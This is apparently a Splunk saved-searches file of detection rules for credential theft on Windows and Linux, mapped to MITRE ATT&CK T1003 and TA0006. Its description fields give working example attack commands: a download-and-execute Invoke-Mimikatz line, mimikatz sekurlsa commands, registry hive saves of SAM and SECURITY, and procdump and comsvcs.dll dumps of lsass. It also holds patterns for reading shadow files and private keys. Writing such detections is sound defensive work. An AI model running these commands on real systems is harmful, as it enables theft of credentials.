[T1003: Powershell Invoke-Mimikatz Commandline]
search = sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" CommandLine="*Invoke-Mimi*" OR CommandLine="*-DumpCreds*" | table Computer,ParentImage,Image,CommandLine
description = Process event associated to Invoke-Mimikatz. \
example) powershell "IEX (New-Object Net.WebClient).DownloadString ('<url>');Invoke-Mimikatz -DumpCreds"\
References: https://attack.mitre.org/techniques/T1003/\
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003/T1003.md

[T1003: Mimikatz Credential Dumping Keywords Found]
search = source="WinEventLog:Microsoft-Windows-PowerShell/Operational" (ScriptBlockText="*mimikatz*" OR ScriptBlockText="*-DumpCreds*" OR ScriptBlockText="*privilege::debug*" OR ScriptBlockText="*sekurlsa::*")| table _time,Computer,ScriptBlockText
description = Mimikatz keywords found in Powershell Transcript Logs indicating potential credential access. \
example) mimikatz # privilege::debug\
mimikatz # sekurlsa::logonpasswords\
Invoke-Mimikatz -DumpCreds\
References: https://attack.mitre.org/software/S0002/\
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003/T1003.md

[T1003: Mimikatz Executable Detected]
search = sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" Image="*\\mimikatz.exe" OR Description="mimikatz for Windows" OR Company="gentilkiwi (Benjamin DELPY)" OR IMPHASH=C90F45C0D58DFCF861DA592A1C318252 OR IMPHASH=D6BABC3862261C87CE2D504A3EB31724 OR IMPHASH=F0D0A258EF4645AABE53A8C67D59A6E0 OR IMPHASH=FCF758BDC8E91A946E344D06FD667418 OR CommandLine="*sekurlsa::*" OR CommandLine="*privilege::debug*" OR CommandLine="*kerberos::*"| table Computer,ParentImage,Image,cmdline,Company,Description,MD5
description = Process event associated to Mimikatz being run. \
example) mimikatz.exe privilege::debug sekurlsa::logonPasswords\
References: https://attack.mitre.org/software/S0002/\
https://attack.mitre.org/techniques/T1003/\
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003/T1003.md

[T1003: Registry dump of SAM, System, or secrets]
search = sourcetype="xmlwineventlog:microsoft-windows-sysmon/operational" Image="*\\reg.exe" AND (CommandLine="*save*HKLM\\sam*" OR CommandLine="*save*HKLM\\security*" OR CommandLine="*save*HKLM\\system*") | table Computer,User,Image,CommandLine
description = Process event associated to retrieval of the SAM, System, or Secrets registry hive. \
example) reg save HKLM\sam %temp%\sam\
reg save HKLM\system %temp%\system\
reg save HKLM\security %temp%\security\
References: https://attack.mitre.org/techniques/T1003/

[T1003: Procdump Sysinternals Tool]
search = sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" Description="Sysinternals process dump utility" OR IMPHASH="FAD4245D83E8982F975B4B8F2F4D5719" OR Image=*\\procdump.exe OR Image=*\\procdump64.exe OR CommandLine="*-ma lsass*" | table host,User,ParentImage,Image,CommandLine
description = Process event associated to Sysinternals tool Procdump attempting to dump memory. \
example) procdump64.exe -ma lsass.exe \
References: https://attack.mitre.org/techniques/T1003/

[T1003: Dumping Lsass.exe using Comsvcs.dll]
search = sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" Image=*\\rundll32.exe AND CommandLine="*comsvcs*Minidump*" | table Computer,User,Image,CommandLine
description = Process event associated to comsvcs.dll being used to dump lsass. \
example) rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <pid> full\
References: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003/T1003.md

[TA0006: Credential Access: Grepping for Passwords]
search = sourcetype=cmdhistory bash "grep" "password" | table host,_raw

[TA0006: Credential Access: Private Keys]
search = sourcetype=cmdhistory bash "id_rsa" OR "authorized_keys"| table host,_raw

[TA0006: Credential Access: History / Bash_History]
search = index=* sourcetype=cmdhistory bash AND ("*.bash_history" OR "history")

[TA0006: Credential Access: Passwd/Shadow access]
search = index=* sourcetype=cmdhistory /etc/shadow OR /etc/passwd
